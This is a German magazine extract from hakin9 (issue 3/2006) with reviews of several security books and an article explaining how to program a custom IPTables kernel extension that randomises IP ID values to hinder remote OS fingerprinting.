Titel: Network Security Tools Autor: Nitesh Dhanjani, Justin Clarke Übersetzung: Sławomir Dzieniszewski, Adam Jarczyk Verlag: O'Reilly / Helion, http://www.helion.pl/ Seitenanzahl: 320, B5-Format, broschiert Preis: 33,50 € Dies ist ein typisches Buch, dessen Titel nicht so ganz dem Inhalt entspricht. Der Titel selbst deutet darauf hin, dass die Publikation zwei Sachen betrifft: Network Security Tools. Die Thematik der Netzwerksicherheit wurde aber quasi zu einer Sammlung von Ratschlägen eingeschränkt, die bei solchen Sachen nützlich sind, wie Portscannen, Systemidentifizierung, Sniffing und manuelle Erstellung von IP-Paketen mit Hilfe von vorhandenen Bibliotheken. Dagegen wünschte man sich an der Stelle, wo die Autoren Probleme der Weiterentwicklung von Software besprechen, mehr Informationen über die Mechanismen der Wirkung der Appliktionen selbst, zu denen in weiteren Kapiteln zusätzliche Komponenten entwickelt werden. In weiteren Kapiteln zeigen die Autoren, wie man Änderungen in solchen Tools wie Nessus, Ettercap, Hydra oder Nikto vornehmen kann. Jemand, der Informationen zum Thema der Entwicklung eigener Plugins sucht oder Techniken kennenlernen will, die eine Änderung von Standardfunktionen ermöglichen, findet hier detaillierte Beispiele, wie man damit anfangen kann.
Wenn man diese Abschnitte liest, hat man den Eindruck, dass man ein fertiges, begrenztes Rezept zur Ausführung einer programmistischen Aufgabe vor sich hat. Die Autoren lassen dem Leser keinen Raum für eigene Gedanken zu. Einen ähnlichen Eindruck gewinnt man beim weiteren Lesen: sowohl im Kapitel über Techniken, die den Kernel verwenden, als auch bei der Beschreibung der Funktionsweise des Pufferüberfüllungsfehlers. Jedesmal bekommt der Leser eine enge Beschreibung, die komplexere Sachen vermeidet, die aber für jene nützlich ist, die nur die Grundidee des Mechanismus kennenlernen wollen und keine detaillierte Beschreibung des Problems suchen. Zum Schluss soll man bemerken, dass die Publikation von dem Leser zumindest Basiskenntnisse der Sprache C und manchmal auch der Sprache Assembler benötigt. Das Buch ist chaotisch und betrachtet die Thematik wenig detailliert, deshalb kann es nur für Anfänger nützlich sein.
Titel: Intrusion Prevention and Active Response Autor: M.Rash, A. Orebaugh, G.Clark, B.Pinkard, J.Babbin Übersetzung: Zbigniew Szalbot Verlag: Mikom, http://mikom.pwn.pl/ Seitenanzahl: 338, Format 16,5x24 cm, broschiert Preis: 46,50 € IPS... ist praktisch das einzige Buch, das sich mit der letztens so populären Thematik der Vorsorge vor Einbrüchen beschäftigt. Auf 338 Seiten bekommt der Leser ein sehr gut systematisiertes und reiches, aber auf keinen Fall leicht übergebenes Wissen. Die fünf Autoren präsentieren uns Basisthemen, wie Protokollschichten, Paketeninspektion (ein der umfangreichsten Kapitel), die Problematik der falschen Treffer, Angriffe auf einzelne Protokollschichten, sowie Modifizierungen der Daten auf der Linie oder Methoden der Vermeidung einer Erkennung durch IPS. Wie man sieht, wurde in diesem relativ wenig umfangreichen Buch eine ziemlich große Wissensmenge platziert. Dies wurde dank einer großen Disziplin der Schreibenden möglich, die sich streng an die Bücherthematik gehalten haben, und auch dank der Tatsache, dass sie das Interesse des Lesers im Vordergrund gestellt
38
hakin9 Nr. 3/2006
haben. Fast in jedem Kapitel gibt es eine Hausaufgabe in Form von Informationen, die vertieft werden sollen (die zur Täuschung als Randinformationen bezeichnet werden) oder eine Sammlung von Links zu Seiten, wo man detaillierte Beschreibungen des betroffenen Problems oder Tools dazu findet. Und dieser Ansatz ist ein der größten Vorteile des Buches. Eine andere Lösung, für die man das Autorenteam loben soll, ist die gut überlegene Inhaltsstruktur: jedes der 9 Kapitel hat dieselbe Form: eine Beschreibung der Problematik, eine Zusammenfassung des Materials, hervorgehobene Sachen zum Merken, eine Ideenbörse, oft gestellte Fragen. Ein zusätzlicher Vorteil des Buches ist eine große Anzahl von Listings. Also: die Publikation ist zweifellos wertvoll, interessant und systematisiert die betroffene Problematik.
www.hakin9.org
Rezensionen
Titel: Practical Cryptography Autor: Niels Ferguson, Bruce Schneider Übersetzung: Tomasz Żmijewski Verlag: Helion, http://www.helion.pl/ Seitenanzahl: 296, Format B5, gebundene Ausgabe Preis: 48,95 € Practical Cryptography ist eins der besseren Bücher aus diesem Bereich, die in der letzten Zeit auf dem Markt erschienen sind. Es wurde von echten Fachleuten geschrieben, die Geheimnisse ihres eigenen Berufs sehr gut kennen. Schon am Anfang wird klar gemacht: die Kryptographie ist nur eins von vielen Wegen zur Sicherheit. Wenn man sich für die Krypthographie entscheidet, bedeutet das noch nicht, dass sich das Sicherheitsniveau des Systems automatisch erhöht. Das Buch besteht aus drei Hauptteilen. Im ersten, welches die Kommunikationssicherheit beschreibt, lernt der Leser Verschlüsselungsprotokolle, Methoden der Nachrichtenauthentifizierung, sowie die Erstellung von sicheren Kanälen kennen. Der zweite Teil ist der Problematik der Schlüsselverhandlungen vollständig gewidmet, der dritte beschäftigt sich dagegen mit der Schlüsselverwaltung. Während der Studie von einzelnen Kapiteln erfährt der Leser auch die Nachteile der Kryptographie. Man
lernt über Fälle, die auf Kryptographen warten, sowie Angriffsarten kennen, für die das oder gerade andere besprochene Element anfällig ist. Was wichtig ist, ermutigen die Autoren den Leser zur Suche nach eigenen Lösungen. Obwohl die Publikation keinen formal-mathematischen Stil hat, sondern eher quasi als Beletristik betrachtet werden könnte, bietet sie ein nützliches und sehr solides Wissen. Was aber wirklich nervt, ist die Ausgabe des Buches - es ist nicht sorgfältig übersetzt, es gibt Tippfehler, es fehlen manchmal sogar ganze Wörter, es gibt auch stilistische Fehler. Alle diese verlagtypischen Fehler bewirken, dass dieses Buch, das schon von sich selbst nicht leicht zum Lesen ist, noch komplizierter wird. Trotz allen diesen Fehlern und Mängeln ist Kryptographie.. ein Buch, das man allen empfehlen kann.
Titel: WI-FOO The Secrets of Wireless Hacking Autor: Andrew Vladimirov, Konstantin V. Gavrilenko, Andrei A. Mikhailovsky Übersetzung: Witold Zioło, Rafał Szpoton Verlag: Helion, http://www.helion.pl/ Seitenanzahl: 520, Format B5 Preis: 33,50 € Das vorgestellte Buch gehört zu einer nicht so umfangreichen Gruppe der Bücher, die man in einem Atem liest. Es stellt die Problematik der Gefahren von WIFOO The Secrets of Wireless Hacking vor. Man könnte sogar sagen, dass die Autoren diese Gesichtspunkte blitzschnell ändern. Dank einem solchen Ansatz bekommt ein aufmerksamer Leser ein Wissen, dass ihm ermöglicht, sehr viele Aspekte der besprochenen Problematik zu bemerken und zu verstehen. Was besonders wichtig ist, macht Wi-Foo kein der betroffenen Probleme trivial. Der Leser findet da nicht nur ein fundiertes Wissen über Techniken der drahtlosen Abwehr und Angriffe, sondern auch eine Die Rezensionen wurden von Krystna Wal und Łukasz Długosz von InfoProf (http://www.infoprof.pl/) bearbeitet. Alle Bücher sind in den englischen Ausgaben erhältlich. Die Bücher wurden von Księgarnia Informatyczna in Krakau zur Verfügung gestellt. (http://www.informatyczna.pl/).
www.hakin9.org
große Menge von Informationen über Kryptographie, die in WiFi-Verbindungen eingesetzt wird. Die Autoren haben in ihrem Werk ein breites Spektrum von Problemen berücksichtigt – von der Funktionsweise des Netzwerkes, über die Zusammenstellung der meist geeigneten Software und Hardware für eine bestimmte Aufgabe, bis zu Spezifikationen von verschiedenartigen Antennen oder Problemen aus dem Grenzbereich der Radioelektronik und Kryptographie. Jeder, der sich dieses Buch beschafft, hat die Chance, eine große Anzahl von Tools kennenzulernen, insbesondere wenig bekannte Programme zur Realisierung von Spezialaufgaben. Wi-Foo ist ein Buch für Personen, die ihre Arbeit ernst nehmen, es ist sogar für Leute, die Audit-Verfahren von drahtlosen Netzwerken durchführen. Obwohl man den Eindruck gewinnen kann, dass die besprochene Publikation ein Buch vom Typ Wie funktioniert das, warum und ob man das anders machen kann? ist, schreiben die Autoren selbst, dass sie ihr Werk an keine Anfänger richten.
hakin9 Nr. 3/2006
39
Eigene IPTablesErweiterungen Programmieren Jarosław Sajko
Schwierigkeitsgrad
Es ist nicht immer einfach, eine Strategie zum Schutz des Systems auf die Konfiguration einer Firewall zu übertragen. Häufig benötigen wir eine Funktionalität, über die unsere Firewall nicht verfügt. Ist unsere Firewall an IPTables angelehnt, können wir diese Funktionalität in Form eines Erweiterungsmoduls implementieren. Dies ist sogar einfacher als man denkt.
J
eder, der irgendetwas mit Internet und Computern zu tun hat, hat sicherlich von Firewalls gehört. Ebenso hat jeder, der sich mit IT-Sicherheit beschäftigt, einen solchen Dienst bereits mehrmals konfiguriert. Die auf dem Markt erhältlichen Firewall-Systeme unterscheiden sich in vieler Hinsicht voneinander. Aus technischer Sicht sind insbesondere jene Differenzen entscheidend, welche die angebotene Funktionalität betreffen. Die Anbieter kommerzieller Lösungen behaupten, ihre Software verfüge über fortgeschrittene und einzigartige Funktionen, die man in anderen Produkten dieser Klasse vermisse. Die Software sei eine eierlegende Wollmilchsau und die stets lächelnden Support-Mitarbeiter warten Tag und Nacht auf unseren Anruf, um uns zu helfen. Der Anruf mag zwar notwendig und hilfreich sein, wir möchten aber statt eines netten Gesprächs mit dem Support ein funktionierendes Produkt bekommen. Darüber hinaus möchten wir wissen, was nicht funktioniert und warum. Langsam entdecken wir, dass die im Programm verfügbaren Funktionen nicht ausreichen. Es gibt aber eine gute Nachricht: Sie können eine eigenartige und fortgeschrittene Funktion auf
40
hakin9 Nr. 3/2006
der Basis freier Software erstellen. Ich hoffe, dass dieser Artikel sich bei dieser Aufgabe als hilfreich erweisen wird. Dies bedeutet selbstverständlich nicht, das kommerzielle Lösungen nutzlos sind. Das Paket IPTables kann auf der Webseite www.netfilter.org heruntergeladen werden. Es gehört standardmäßig zum Bestandteil des Systems Linux mit den Kernels der Serie 2.4 und höher. Auf der genannten Webseite befin-
In diesem Artikel erfahren Sie… •
Wie Sie eigene Erweiterungen für IPTables schreiben können.
Was Sie vorher wissen/können sollten... • • •
www.hakin9.org
Sie sollten die Grundlagen des IP-Protokolls kennen; Sie sollten wissen, wie Betriebssysteme im Großem und Ganzen funktionieren; Sie sollten die Programmiersprache C beherrschen.
Eigene IPTables-Erweiterungen
Registrieren der Erweiterung – Strukturen
Je nach Typ der zu registrierenden Erweiterung (Match oder Ziel), verwenden wir zu diesem Zweck die Funktion ipt _ register _ match respektive ipt _ register _ target. Jede Funktion nimmt als Eingangsparameter eine spezifische (allerdings eine ähnliche) Struktur an. Es gibt folgende fünf Felder, die ausgefüllt werden müssen: •
•
•
•
•
name – Modulname der Erweite-
rung; er soll am besten mit dem Teil des Namens der Moduldatei identisch sein (die Moduldateien der Erweiterungen heißen in der Regel ipt_NAME.o); me – in diesem Feld platzieren wir das Literal THIS _ MODULE, was ein Selbstverweis ist und für den Zähler (und folglich für die Funktion cleanup _ module) relevant ist; checkentry – hier platzieren wir den Zeiger auf die Funktion, die aufgerufen wird, wenn eine Regel, die dieses Modul verwendet, hinzugefügt wird; Diese Funktion soll vor allem die Bestimmungen für eine Regel untersuchen; destroy – in diesem Feld kann sich ein Zeiger auf die Funktion befinden, die aufgerufen wird, wenn ein solcher Eintrag gelöscht wird; match oder target (je nach Typ der Erweiterung) – die wichtigsten Felder; Zeiger auf die Funktion, die über ein Paketmatch entscheidet oder Operationen durchführt, die für dieses Paket definiert wurden.
Die Struktur für Match heißt struct ipt_match, die für das Ziel struct ipt_target.
det sich die Geschichte des Projekts in einer gekürzten Fassung. Das Projekt wurde Ende der 1990er Jahre gegründet, es ist also alt genug, damit man es als ausgereift genug bezeichnen kann. Meiner Meinung nach ist das Schreiben eigener Erweiterungen einer der interessantesten Vorteile des Pakets IPTables. Netfilter ist in Wirklichkeit ein Framework, welches das Filtern und Modifizieren von Paketen ermöglicht. Es besteht aus drei wichtigen Elementen:
•
•
•
Hooks – bestimmte Stellen im Protokollstack des Betriebssystems, von denen aus der Code von Netfilter für jedes Paket, das den Protokollstack durchläuft, aufgerufen wird. Funktionen, die den konkreten Hooks zugeordnet sind; diese Funktionen werden von Netfilter für Pakete, die den Protokollstack durchlaufen, aufgerufen; Treiber (Modul) ip _queue, der das Einreihen von Paketen in den User-Space ermöglicht, damit diese weiter verarbeitet werden können; Es handelt sich hier um eine asynchrone Übermittlung.
Ansonsten kann sich auch ein bisschen weniger funktionelles Element des Framework – und zwar die Kommentare im Quellcode – als nützlich erweisen. IPTables ist im Grunde genommen ein Satz von Modulen, die auf die Funktionalität von Netfilter zugreifen. IPTables definiert die Tabellen von Regeln, sowie Kriterien, mit deren Hilfe ein Paket an ein Muster angepasst wird und bestimmte Aktionen, die für die zu anzupassenden Pakete durchzuführen sind. Auf diese Weise kann auf die Funktionalität von Netfilter von einer höheren Abstraktionsebene aus zugegriffen werden, was sowohl übersichtlicher als auch bequemer ist. Der Name IPTables kommt nicht von ungefähr – die Listen mit den Regeln werden als Tabellen dargestellt und werden in dieser Form im Speicher unter bestimmten Namen aufbewahrt. IPTables kann in zwei Teile aufgeteilt werden. Ein Teil bezieht sicht auf die Übersetzung von Adressen und Ports (engl. port and network address translation – PNAT), ein anderer Teil auf das Filtern. Beide Teile sind erweiterbar. Außer den Erweiterungsmodulen gibt es noch Werkzeuge des User-Space, die in erster Linie zum Eingeben von Regeln in einer lesbaren und bequemeren Form dienen.
Erweiterungsmodule
Ein Erweiterungsmodul ist ein gewöhnliches Kernelmodul. Es muss
www.hakin9.org
die für das Erweiterungsmodul definierten Funktionen implementieren, indem es auf bestimmte standardmäßige Strukturen zurückgreift. Außerdem gibt es noch eine Anforderung, die an ein solches Modul gestellt wird. Dessen Code muss eintrittsvariant (engl. reentrant) sein. Es kann durchaus vorkommen, dass beim Verarbeiten eines Pakets ein Interrupt ankommt, dass ein anderes Paket verarbeiten werden soll. In einem Symmetrischen Multiprozessorsystem (SMP) ist die Eintrittswahrscheinlichkeit eines solchen Ereignisses ziemlich hoch. Zu den wichtigsten Funktion, die von diesem Modul benötigt werden, gehören: •
•
•
•
•
– der Eintrittspunkt des Moduls, dessen Aufgabe das Registrieren des Moduls im Framework ist; er gibt einen negativen Wert oder Null zurück, wenn die Registrierung erfolgreich war; cleanup _ module(...) – der Austrittspunkt des Moduls; der Code dieser Funktion soll das Modul im Framework Netfilter abmelden; ipt _ register _ match(...) – er nimmt als Parameter die Struktur struct ipt _ match an und dient zum Registrieren von Match-Erweiterungen (neuen, zutreffenden Typen); ipt _ register _ target(...) – nimmt als Parameter die Struktur struct ipt _ target an und dient zum Registrieren von Erweiterungen der Ziele; init _ module(...)
i p t _ u n r e g i s t e r _ m at c h(...)
– meldet die Match-Erweiterung ab;
•
ipt _ u n r e g iste r _ t a r g et(...)
– meldet die Erweiterung des Ziels ab;
Bei einem Modul handelt es sich in der Regel um eine der Funktionen (Ziel oder Match). Aus diesem Grund wählen wir aus dem vorgestellten Satz vier entsprechende Funktionen aus. In Wirklichkeit implementieren wir einfachheitshalber die Funktionen (die ein bisschen
hakin9 Nr. 3/2006
41
Programmieren
anders genannt wurden) und verwenden die Standard-Makros. Die Beschreibungen der Strukturen für die Funktionen ipt _ register _ match und ipt _ register _ target befinden sich im Rahmen. Außer den genannten Funktionen müssen wir noch jene implementieren, die aus dem Erweiterungstyp resultieren. Die Zeiger auf die Funktionen haben wir beim Registrieren in der Struktur angegeben. Haben wir das gemacht, ist das Modul fertig. Ich werde es mithilfe eines konkreten Beispiels vorstellen.
Implementierung der Erweiterung – ein Beispiel
Kehren wir noch kurz zu den kommerziellen Lösungen zurück. Viele von ihnen bieten Funktionen, die in Paketen gruppiert und über eine grafische Schnittstelle mithilfe weniger Mausklicks verfügbar sind. Ein Produkt stellt einen Satz von einigen einfachen Funktionen, der als Fingerprint Scrambling bezeichnet wird, zur Verfügung. Dessen Aufgabe besteht im Erschweren einer Remote-Erkennung des Namens und der Version des Betriebssystems (siehe Rahmen OS–fingerprinting). In unserem Fall handelt es sich um die Erweiterungen ipt_TTL, ipt_IPID und ipt_ISN. Die Erweiterung, die den TTL des IP-Datagramms modifiziert, steht standardmäßig zur Verfügung. Der Rest wird (mindestens teilweise) in diesem Artikel erstellt. Es muss ja etwas für die Hausaufgabe übrig bleiben. Beschäftigen wir uns zunächst mit ipt_IPID. Da der Name zunächst nicht besonders informativ ist, beschreiben wir die Aufgabe dieser Erweiterung. Einer der Faktoren, die bei der Remote-Erkennung des Betriebssystems helfen, ist das richtige Klassifizieren des Algorithmus, der das Feld ID des IP-Datagramms im Remote-System festlegt. Mehr Informationen zu diesem Thema finden Sie im Kasten. Unsere Aufgabe besteht also darin, das Feld ID in IP-Datagramms so zu modifizieren, dass deren Klassifikation falsch ist.
42
hakin9 Nr. 3/2006
OS–Fingerprinting
Eine der ersten Phasen eines Angriffs besteht im Sammeln von Informationen über das Ziel. Im IT-Bereich sind folgende Informationen relevant: Typ und Version des Betriebssystems sowie Versionen der Applikationen des Systems, das angegriffen werden soll. Falls kein lokaler Zugang zum Rechner vorhanden ist, verwenden wir eine Remote-Erkennung des Systems, die auf dem Fingeprinting von Paketen der Netzwerkprotokolle, die vom System aus gesendet werden, besteht. Wir führen also OS–Fingerprinting durch. Bei einem Fingerprinting kann es sich um passive oder aktive Methoden handeln. Passive Methoden sind absolut latent und bestehen im Lauschen und Bewerten der Informationen, die vom gescannten System gesendet werden. Im Falle eines aktiven Fingerprinting erzwingen wir das Abschicken von Paketen, indem wir Anfragen senden oder versuchen, eine TCP-Session aufzubauen usw. Die empfangenen Pakete werden auf eine ähnliche Weise analysiert. Es werden die Art der Implementierung der obligatorischen sowie der zusätzlichen Protokollfunktionen analysiert. Aufgrund dieser Informationen wird der Typ und die Version des Systems bestimmt.
ipid_checkentry
Wie gesagt, registriert sich ein Erweiterungsmodul in IPTables mithilfe der beschriebenen Struktur, in der wir ein Paar Zeiger auf Funktionen
angeben. Fangen wir mit dem Feld checkentry dieser Struktur an. Die Funktion, für die wir in diesem Feld einen Zeiger platzieren, wird für jede eingegebene Regel, die
Das Feld Identification eines IP-Datagramms
Im Header eines jeden IP-Datagramms befindet sich das Feld ID, das beim Reassemblieren der fragmentieren Datagramme nützlich ist. Die Fragmente, die demselben Datagramm angehören, habe dasselbe eindeutiges Kennzeichen (ID). Es handelt sich um ein Wort mit der Länge von 16 Bit – es können also theoretisch 65536 Pakete gleichzeitig auf einem Knoten defragmentiert werden. Es spielt aber bei einer Übermittlung ohne Fragmentierung praktisch keine Rolle. Allerdings verwenden verschiedene Betriebssysteme unterschiedliche Algorithmen zum Definieren des Werts dieses Feldes. Manche erhöhen dessen Wert nach jedem abgeschickten Datagramm um eine konstante Zahl, andere erhöhen ihn um eine begrenzte Zufallszahl, und die übrigen verlosen für jedes Datagramm eine beliebige Zahl. Je nach System kommen noch zusätzliche Details hinzu, die für das Behandeln dieses Werts relevant sind. Die älteren Versionen mancher Betriebssysteme zeichnen sich dadurch aus, dass im Falle von Datagrammen mit dem gesetzten Bit DF (Don’t Fragment) der Wert dieses Feldes in der Praxis immer Null beträgt. In den neueren Versionen des Linuxkernels kann man beobachten, dass der Wert für Segmente SYN/ACK der TCP-Verbindungen immer auf 0 gesetzt wird. Es gibt noch andere Eigenschaften der einzelnen Implementierungen dieser Art. All diese Unterschiede zwischen den einzelnen Betriebssystemen führen dazu, dass dieses Feld bei der Remote-Erkennung der Version des Betriebssystem von großer Bedeutung ist. Auf den Wert dieses Feldes greift z.B. nmap (aktiver Scanner) oder p0f (passiver Scanner) zurück. Mithilfe des Scanners nmap kann sehr einfach überprüft werden, welchen Algorithmus ein bestimmtes Betriebssystem verwendet (es genügt, ihn mit der Option -v und –O zu starten). Die Vorhersehbarkeit der nächsten IDs der IP-Datagramme hat ebenfalls einen Einfluss auf die IT-Sicherheit. Diejenigen Netzwerkknoten, deren IP-Datagramme über IDs verfügen, die leicht zu erraten sind, können beim Scannen der Netzwerke verwendet verwenden. Es kann sich hier sogar um Netzwerke handeln, zu denen wir normalerweise keinen Zugang haben (sog. Idlescan, ebenfalls mithilfe von nmap mit der Option –sI durchführbar).
www.hakin9.org
Eigene IPTables-Erweiterungen
Listing 1. Code der Funktion ipid_checkentry static int ipid_checkentry(const char *tablename, const struct ipt_entry *e, void *targinfo, unsigned int targinfosize, unsigned int hook_mask) {
}
if(strncmp(tablename, "mangle", 6) != 0) { printk(KERN_WARNING "IPID: Can only be called from the \ "mangle\" table"); return 0; } if(targinfosize != IPT_ALIGN(sizeof(struct ipt_ipid_target_info))) { printk(KERN_WARNING "IPID: targinfosize %u != %Zu\n", targinfosize, IPT_ALIGN(sizeof(struct ipt_ ipid_target_info))); return 0; } return 1;
diese Erweiterung verwendet, aufgerufen. Die Funktion nimmt folgende Eingangsparameter an: • • • •
Name der Tabelle, in der die Regel hinzugefügt wird; der hinzuzufügende Eintrag in Form der Struktur ipt _ entry; Erweiterungsspezifische Optionen; Maske von Hooks, von denen aus diese Regel aufgerufen werden kann.
Kann eine Regel nicht angenommen werden, beträgt der Wert des Ausgangsparameters 0. Sonst wird ein positiver Wert gleich 1 zurückgegeben. Wir können also an dieser Stelle überprüfen, ob die Regel in der richtigen Tabelle platziert wird. Jene Regel, die das Paket modifizieren, sollen in der Tabelle mangle hinzugefügt werden. Dies ist hier der Fall, von daher werden wir die Tabellennamen auf deren Richtigkeit überprüfen. Darüber hinaus können wir überprüfen, ob die modulspezifischen Optionen korrekt konfiguriert sind (d. h. ob beispielsweise deren Werte im korrekten Bereich enthalten sind). Ist eine Regel nur für ein konkretes Protokoll vorgesehen, z. B. UDP, kann dies ebenfalls hier überprüft werden. Mehr Informationen zu diesem Thema finden Sie in der zu übergebenden Struktur ipt _ entry. Auch
empfiehlt es sich zu überprüfen, ob die Struktur mit den erweiterungsspezifischen Parametern im Hinblick auf die Größe des belegten Speichers aufgerundet wurde. Zu diesem Zweck dient das Macro IPT _ ALIGN. Da unser Modul ziemlich einfach ist, überprüfen wir lediglich den angepassten Speicher und den Namen der Tabelle, der die Regel hinzugefügt wird. Der Code der Funktion wurde in Listing 1 vorgestellt.
ipid_destroy
Die Funktion im Feld destroy wird dann aufgerufen, wenn eine Regel, die diese Erweiterung verwendet, aus dem Speicher entfernt wird. Dadurch kann Platz für die Daten für die Regel in der Funktion checkentry alloziert – die Daten könne ebenfalls hier gelöscht werden. In unserem Fall ist diese Funktion leer – von daher stelle ich den ganzen Code vor: static void ipid_destroy (void *targinfo, unsigned int targinfosize) {}
ipid_target
Diese Funktion ist direkt für das Durchführen der Aufgabe zuständig. Aus der oben vorgestellten Beschreibung der Struktur geht hervor, dass es sich um die Funktion match oder target handeln kann. Da wir das Paket modifizieren, und die MatchFunktion den anderen Erweiterungen zukommen lassen, wird es sich
www.hakin9.org
um target handeln. Die Funktion vom Typ target nimmt einige Eingangsparameter an: Zeiger auf den Puffer skb, Name der Eingangs- und Ausgangsschnittstelle des Pakets (eine von ihnen kann leer sein) sowie regelspezifische Daten. Die Daten stammen aus dem User-Space und wurden beim Hinzufügen der Regel vorbereitet. Es können sich dort erweiterungsspezifische Optionen als auch temporäre Daten, die für diese Regel relevant sind, befinden. Wir werden auf die Optionen und das Aufbewahren von Daten noch zu sprechen kommen, ich werde also diese Struktur zunächst auslassen. Die Beschreibung der Struktur skb, also des Socketpuffers, befindet sich im Rahmen. Ich möchte an dieser Stelle lediglich erwähnen, dass dies eine universelle Struktur des Linux-Kernels ist. Sie dient zum Erleichtern der Operationen an einem Paket, die von den einzelnen Schichten des Protokollstacks durchgeführt werden. Dadurch können an selber Stelle praktisch alle Informationen, die für ein Paket relevant sind, aufbewahrt werden, was für uns zweifellos nützlich ist. Das Ziel dieser Funktion ist (abgesehen von Operationen am Paket) das Fällen eines Urteils für das Framework IPTables, was mit dem gegebenen Paket geschehen soll. Im Falle von einfachen Zielen, wie ACCEPT oder DROP, kann es praktisch nur ein Urteil geben. Im Falle der Funktion match handelt es sich bei dem Urteil um die Aussage, ob das Paket angepasst wurde (ausnahmsweise kann das Paket auch zurückgewiesen werden). In unserem Beispiel soll das Paket modifiziert werden, das Urteil wird also darauf hinweisen, dass das Paket von IPTables weiterhin verarbeitet werden soll. In manchen Ausnahmesituationen, wie z. B. kein Speicherplatz für die Verarbeitung des Pakets, werden wir es zurückweisen. Die Liste der Urteile, die als Ausgangsparameter der Funktion in Funktionen vom Typ target festgelegt werden können, ist zwar nicht lang, reicht aber vollkommen aus:
hakin9 Nr. 3/2006
43
Programmieren
• •
•
•
•
– bewirkt, dass das Paket zurückgewiesen wird; NF _ ACCEPT – akzeptiert das Paket; es kann weiterhin verarbeitet werden; NF _ STOLEN – eine Information für Netfilter, dass das Paket zusammen mit dem ganzen sk_buff durch das Modul übernommen wurde; NF _ QUEUE – dieses Urteil wird z. B. vom Modul ip_queue des Pakets Netfilter zur Übermittlung von Paketen zum User-Space zwecks deren Verarbeitung verwendet; NF _ REPEAT – bewirkt, dass das Paket die Funktionen, die für den gegebenen Hook registriert wurden, erneut durchlaufen wird. NF _ DROP
All das sind die Urteile von Netfilter, die wir verwenden können. Da wir aber eine Stufe höher arbeiten (IPTables), werden wir das Urteil IPT _ CONTINUE anwenden. Es weist darauf hin, dass das Paket weiterhin verarbeitet werden soll und wird durch IPTables–Erweiterungen verwendet. Da wir die Parameter der Funktion kennen gelernt haben, können wir uns mit der Implementierung deren Body beschäftigen. Wie gesagt, werden wir den Wert des Feldes ID im Header des IP-Protokolls modifizieren. Dies machen wir zuerst ganz einfach und verwenden einen internen, postinkrementellen Zähler. Unabhängig von der ausgewählten Methode werden wir den IP-Header und folglich den Socketpuffer (struct sk _ buff) modifizieren. Wir müssen jedoch unsere Absicht dem System mitteilen. Dies können wir in den Kernels der Serie 2.6 mithilfe einer Funktionen erreichen: if (!skb_ip_make_writable (pskb, (*pskb)->len)) return NF_DROP;
Wir rufen die Funktion aus, indem wir den Puffer und dessen Länge übergeben. Dies ist ein Beispiel dafür, wann wir uns entscheiden können, dass das Paket zurückgewiesen
44
hakin9 Nr. 3/2006
Listing 2. Implementierung von ipid_target – ein Beispiel static unsigned int ipid_target(struct sk_buff **pskb, const struct net_device *in, const struct net_device *out, unsigned int hooknum, const void *targinfo, void *userinfo) { struct iphdr * iph; u_int16_t ipid_diffs[2]; if (!skb_ip_make_writable(pskb, (*pskb)->len)) return NF_DROP;
iph = (*pskb)->nh.iph; ipid_diffs[0] = (iph->id)^0xffff; ipid_diffs[1] = iph->id = htons(counter++); iph->check = csum_fold(csum_partial((char *)ipid_diffs, sizeof(ipid_diffs), iph->check^0xffff));
}
(*pskb)->nfcache |= NFC_ALTERED; return IPT_CONTINUE;
werden soll. Da wir das definierte Ziel nicht erreichen können, weisen wir vorsichtshalber das Paket zurück. In den Kernels der Serie 2.4 teilen wir dem System mit, dass wir Modifikationen vornehmen möchten, indem wir den Puffer kopieren: struct sk_buff *nskb = skb_copy(*pskb, GFP_ATOMIC);
Das, was wir nun mit den Daten im Puffer und in den Protokoll-Headern tun werden, hängt vor allem von der
Bestimmung der Erweiterung und unserer Kreativität ab. In den meisten Fällen sind diese Operationen ziemlich einfach. Möchten wir nichts modifizieren, genügt es manchmal, das Urteil mithilfe eines Vergleichs festzulegen. Wir möchten aber Modifikationen vornehmen, was bedeutet, dass zusätzlich die Kontrollsummen aktualisiert werden müssen. Dies kann am einfachsten mithilfe der Standard-Funktionen sum _ fold und csum _ partial erreicht werden. In
Socket Buffer
In Netzwerkpaketen werden außer Userdaten auch Protokoll-Header versendet. Jede Schicht (angefangen bei der Transportschicht und bis nach unten) fügt ihren Header hinzu. Für die einzelnen Schichten des Protokollstacks und die einzelnen Protokolle sind verschiedene Funktionen zuständig. Damit keine umsonst kopiert werden, wurde eine große Struktur (struct sk _ buff) geschaffen, in der Informationen über die Header aller Protokolle aufbewahrt werden. In dieser Struktur sind u. a. folgende Daten zu finden: • • • • •
Uhrzeit, wann das Paket empfangen wurde (für ankommende Pakete); Netzwerkschnittstelle, mit deren Hilfe wir das Paket bekommen haben; Kontrollsummen; Netzwerksocket, wenn das Paket mit einem lokalen Socket verknüpft ist. und viele andere Daten, die bei der Verarbeitung des Pakets in den einzelnen Schichten des Protokollstacks hilfreich sein können.
Diese Struktur wird auch von Netfilter verwendet und an die Funktionen match und target übergeben. Mit der Struktur sind Funktionen verknüpft, die deren Kopieren und Überschreiben ermöglichen. Eine detaillierte Beschreibung der Felder der Struktur sk_buff ist in der Headerdatei skbuff.h zu finden.
www.hakin9.org
Eigene IPTables-Erweiterungen
Listing 2 wurde ein entsprechendes Beispiel vorgestellt. Außerdem muss das Framework Netfilter benachrichtigt werden, dass das Paket modifiziert werden soll. Dies können wir erreichen, indem wir ein Flag im Feld des Socketpuffers verwenden: (*pskb)->nfcache |= NFC_ALTERED;
Beim Erstellen des Codes einer Erweiterung, werden wir oft mit dem Problem konfrontiert, dass das Modul zusätzliche Daten in einen Log schreiben soll. Es wäre nicht schlecht, wenn ein solches Loggen nicht alle Ressourcen des Rechners in Anspruch nimmt. Wir können die Anzahl der auf diese Weise abgeschickten Meldungen mithilfe der Funktion net _ ratelimit einschränken. Das Loggen von Meldungen soll ungefähr folgendermaßen aussehen: if(net_ratelimit()) printk("Meldung...\n");
Am Anfang sollen diese Informationen ausreichen. Ein Beispiel der Implementierung einer solchen Funktion wurde in Listing 2 vorgestellt. Zu den gerade implementierten Funktionen muss man noch die ausgefüllte Struktur hinzufügen, sie registrieren und einige Include-Direktiven hinzufügen. Danach ist die Erweiterung fertig. Die Datei mit der Erweiterung befindet sich auf der beiliegenden CD.
User-Space-Werkzeug
Ist die Erweiterung fertig, soll es eine Möglichkeiten geben, Regeln hinzuzufügen, die auf diese Erweiterung zugreifen. Die Regeln können mithilfe des Standardwerkzeugs iptables hinzugefügt werden. Dieses Werkzeug zeichnet sich ebenfalls durch eine modulare Struktur aus. Es genügt, eine entsprechende Bibliothek vorzubereiten, die unser Modul unterstützt. Diese Bibliothek soll vor allem die Funktion _init, von der aus die Funktion register _ match oder
